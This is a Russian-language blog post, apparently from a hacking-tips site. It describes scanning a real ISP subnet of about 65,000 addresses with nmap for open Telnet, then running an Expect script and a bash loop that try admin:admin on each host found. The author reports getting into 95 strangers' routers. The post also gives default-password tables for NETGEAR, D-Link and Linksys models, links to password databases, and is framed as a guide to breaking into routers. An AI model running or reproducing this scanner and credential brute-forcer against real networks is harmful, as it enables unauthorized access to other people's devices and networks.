Недавно мне пришла в голову банальная мысль, что большинство людей не уделяют внимания настройке своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить?
Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.
Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.
Первая мысль, которая приходит в голову: сканировать nmap’ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!
Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt
Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ --open
позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.
Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.
Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '([0-9]{1,3}[.]){3}[0-9]{1,3}' raw_log.txt > log.txt
Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ -o
выводит только найденную подстроку, что нам и требуется.
Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.
Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.
Попытки автоматизации telnet’а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f set SERVER [lindex $argv 0]; set USER [lindex $argv 1]; set PASS [lindex $argv 2]; set timeout 1 spawn telnet $SERVER expect ":" send "$USERr" expect ":" send "$PASSr" expect ">" {puts "nFOUND $SERVER $USER:$PASSn"; exit 0} exit 1
Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.
Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан «#». Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
TP-LINK>
Однако маркер «>» универсален — он работает и на узявимых D-Link, которые дают приглашение вида
DSL-2600U#
Осталось только написать однострочный bash: исполняемый файл brute
#!/bin/bash while read line; do ./try_telnet $line admin admin; done < log.txt
И запускаем
./brute > out.txt
В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).
Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt
Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.
В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).
В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.
Также вы можете проделать данную операцию с помощью программы RouterScan
Для взлом роутеров вам наверняка понадобится список стандартных паролей роутеров:
Таблица стандартных паролей для роутеров(маршрутизатор) производителя NETGEAR:
Модель Протокол Логин Пароль NETGEAR RM356 Rev. NONE TELNET (none) 1234 NETGEAR WGT624 Rev. 2 HTTP admin password NETGEAR COMCAST Rev. COMCAST-SUPPLIED HTTP comcast 1234 NETGEAR FR314 HTTP admin password NETGEAR MR-314 Rev. 3.26 HTTP admin 1234 NETGEAR RT314 HTTP admin admin NETGEAR RP614 HTTP admin password NETGEAR RP114 Rev. 3.26 TELNET (none) 1234 NETGEAR WG602 Rev. FIRMWARE VERSION 1.04.0 HTTP super 5777364 NETGEAR WG602 Rev. FIRMWARE VERSION 1.7.14 HTTP superman 21241036 NETGEAR WG602 Rev. FIRMWARE VERSION 1.5.67 HTTP super 5777364 NETGEAR MR814 HTTP admin password NETGEAR FVS318 HTTP admin password NETGEAR DM602 FTP TELNET AND HTTP admin password NETGEAR FR114P HTTP admin password NETGEAR ME102 SNMP (none) private NETGEAR WGR614 Rev. V4 MULTI admin password NETGEAR RP114 Rev. 3.20-3.26 HTTP admin 1234 NETGEAR DG834G HTTP admin password NETGEAR ROUTER/MODEM MULTI admin password NETGEAR MR314 MULTI admin 1234 NETGEAR GSM7224 HTTP admin (none) NETGEAR ADSL MODEM DG632 Rev. V3.3.0A_CX HTTP admin password NETGEAR WGT634U HTTP admin password NETGEAR FWG114P MULTI n/a admin NETGEAR GS724T Rev. V1.0.1_1104 HTTP n/a password NETGEAR FM114P MULTI n/a (none) NETGEAR DG834 admin password NETGEAR WNR834 BV2 admin password NETGEAR WNR834BV2 HTTP admin password NETGEAR WPN824 / WPN824V2 HTTP admin password
Таблица стандартных паролей для роутеров(маршрутизатор) D LINK:
Производитель Модель Протокол Логин Пароль D-LINK DSL-G664T Rev. A1 HTTP admin admin D-LINK HUBS/SWITCHES TELNET D-Link D-Link D-LINK DI-704 Rev. REV A MULTI (none) admin D-LINK DI-804 Rev. V2.03 MULTI admin (none) D-LINK DWL 900AP MULTI (none) public D-LINK DI-614+ HTTP user (none) D-LINK DWL-614+ Rev. REV A REV B HTTP admin (none) D-LINK D-704P Rev. REV B MULTI admin (none) D-LINK DI-604 Rev. REV A REV B REV C REV E MULTI admin (none) D-LINK DWL-614+ Rev. 2.03 HTTP admin (none) D-LINK D-704P MULTI admin admin D-LINK DWL-900+ HTTP admin (none) D-LINK DI-704 MULTI n/a admin D-LINK DI-604 Rev. 1.62B+ HTTP admin (none) D-LINK DI-624 Rev. ALL HTTP admin (none) D-LINK DI-624 Rev. ALL HTTP User (none) D-LINK DI-604 Rev. 2.02 HTTP admin admin D-LINK DWL 1000 HTTP admin (none) D-LINK DI-514 MULTI user (none) D-LINK DI-614+ Rev. ANY HTTP admin (none) D-LINK DWL 2100AP MULTI admin (none) D-LINK DSL-302G MULTI admin admin D-LINK DI-624+ Rev. A3 HTTP admin admin D-LINK DWL-2000AP+ Rev. 1.13 HTTP admin (none) D-LINK DI-614+ HTTP admin admin D-LINK DSL-300G+ Rev. TEO TELNET (none) private D-LINK DSL-300G+ Rev. TEO HTTP admin admin D-LINK DI-524 Rev. ALL HTTP admin (none) D-LINK FIREWALL Rev. DFL-200 HTTP admin admin D-LINK DI-524 Rev. ALL HTTP user (none) D-LINK DWL-900AP+ Rev. REV A REV B REV C HTTP admin (none) D-LINK DSL500G MULTI admin admin D-LINK DSL-504T HTTP admin admin D-LINK DSL-G604T MULTI admin admin D-LINK DI-707P ROUTER HTTP admin (none) D-LINK DI624 Rev. C3 HTTP admin password D-LINK 604 MULTI n/a admin D-LINK DSL-500 MULTI admin admin D-LINK 504G ADSL ROUTER HTTP admin admin D-LINK DI-524 HTTP admin (none) D-LINK ADSL HTTP admin admin D-LINK VWR (VONAGE) Rev. WIRELESS BROADBAND ROUTER HTTP user user D-LINK DGL4300 Rev. D-LINK’S DGL-4300 GAME SERIES ROUTER HTTP Admin (none) D-LINK VTA (VONAGE) HTTP user user
Таблица стандартных паролей для роутеров(маршрутизатор) LINKSYS:
Производитель Модель Протокол Логин Пароль LINKSYS WAP11 MULTI n/a (none) LINKSYS DSL TELNET n/a admin LINKSYS ETHERFAST CABLE/DSL ROUTER MULTI Administrator admin LINKSYS LINKSYS ROUTER DSL/CABLE HTTP (none) admin LINKSYS BEFW11S4 Rev. 1 HTTP admin (none) LINKSYS BEFSR41 Rev. 2 HTTP (none) admin LINKSYS WRT54G HTTP admin admin LINKSYS WAG54G HTTP admin admin LINKSYS LINKSYS DSL n/a admin LINKSYS WAP54G Rev. 2.0 HTTP (none) admin LINKSYS WRT54G Rev. ALL REVISIONS HTTP (none) admin LINKSYS MODEL WRT54GC COMPACT WIRELESS-G BROADBAND ROUTER MULTI (none) admin LINKSYS AG 241 – ADSL2 GATEWAY WITH 4-PORT SWITCH MULTI admin admin LINKSYS COMCAST Rev. COMCAST-SUPPLIED HTTP comcast 1234 LINKSYS WAG54GS MULTI admin admin LINKSYS AP 1120 MULTI n/a (none) LINKSYS PAP2 / PAP2V2 (VONAGE) HTTP admin admin LINKSYS RT31P2 (VONAGE) HTTP admin admin LINKSYS RTP300 (VONAGE) HTTP admin admin LINKSYS WRT54GP2 (VONAGE) HTTP admin admin LINKSYS WRTP54G (VONAGE) HTTP admin admin ------------------------------------------------------ Также пароли по умолчанию можно узнать здесь: http://www.phenoelit-us.org/dpl/dpl.html http://someshit.net/mdplrmp.html http://www.redoracle.com/index.php?option=com_password&task=rlist http://www.cirt.net/cgi-bin/passwd.pl http://www.cyxla.com/passwords/index.php http://www.virus.org/default-password/view/ http://defaultpassword.com/
Прекрассный ресурс для определения пароля по умолчанию для роутера — RouterPasswords.com
Здесь вы можете найти пароли практически для всех существующих моделей роутеров
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…
View Comments